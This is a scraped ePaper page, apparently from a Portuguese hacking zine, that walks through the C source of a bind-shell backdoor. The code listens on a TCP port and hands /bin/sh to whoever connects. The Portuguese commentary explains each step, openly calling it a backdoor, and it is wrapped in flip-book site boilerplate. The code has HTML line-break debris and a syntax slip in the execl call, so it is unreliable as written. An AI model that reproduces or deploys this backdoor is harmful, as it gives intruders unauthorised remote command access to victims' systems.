01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

struct sockaddr_in server_address;<br />

struct sockaddr_in client_address;<br />

Declaração dos sockets do cliente e do servidor além de variáveis<br />

auxiliares que iremos utilizar mais a frente. A clientpid e a serverpid,<br />

serão utilizadas para a abertura de processos mais tarde.<br />

sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />

bzero((char *) &server_address, sizeof(server_address));<br />

server_address.sin_family=AF_INET;<br />

server_address.sin_port=htons(PORTA);<br />

server_address.sin_addr.s_addr=htonl(INADDR_ANY);<br />

bind(sockfd, (struct sockaddr *)&server_address, sizeof<br />

(server_address));<br />

listen(sockfd, 5);<br />

signal(SIGHUP, SIG_IGN);<br />

Declaração dos sockets aqui vemos as linhas chaves de nosso programa.<br />

Declaramos socket sockfd, em seguida obtemos o IP da máquina que<br />

hospeda o backdoor (server_address.sin_family=AF_INET;).<br />

Em seguida declaramos a porta do qual o backddor estará ouvindo as<br />

conexões.( server_address.sin_port=htons(PORTA);) e por último<br />

utilizamos a função bind da qual associamos a porta TCP ao socket. E por<br />

último colocamos o socket em escuta, aguardando as conexões (listen<br />

(sockfd, 5);), tratando alguns sinais importantes no sistema (signal<br />

(SIGHUP, SIG_IGN);). Este é o cérebro de nosso programa.<br />

socklen=sizeof(client_address);<br />

temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen);<br />

Nesta fase tratamos a conexão do cliente colocando na variável temp o<br />

accept para a conexão feita pelo cliente.<br />

write(temp, MSGINI, sizeof(MSGINI));<br />

if (temp < 0) exit(0);<br />

clientpid=getpid();<br />

serverpid=fork();<br />

if (serverpid != 0)<br />

{<br />

dup2(temp,0); dup2(temp,1); dup2(temp,2);<br />

execl("/bin/sh","/bin/sh",(char *)0;<br />

}<br />

close(temp);<br />

}<br />

Por último tartamos os PIDS e preparamos o ambiente para executar o<br />

shell (execl("/bin/sh","/bin/sh",(char *)0);/*) e pronto o backdoor estrá<br />

operando.<br />

44

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!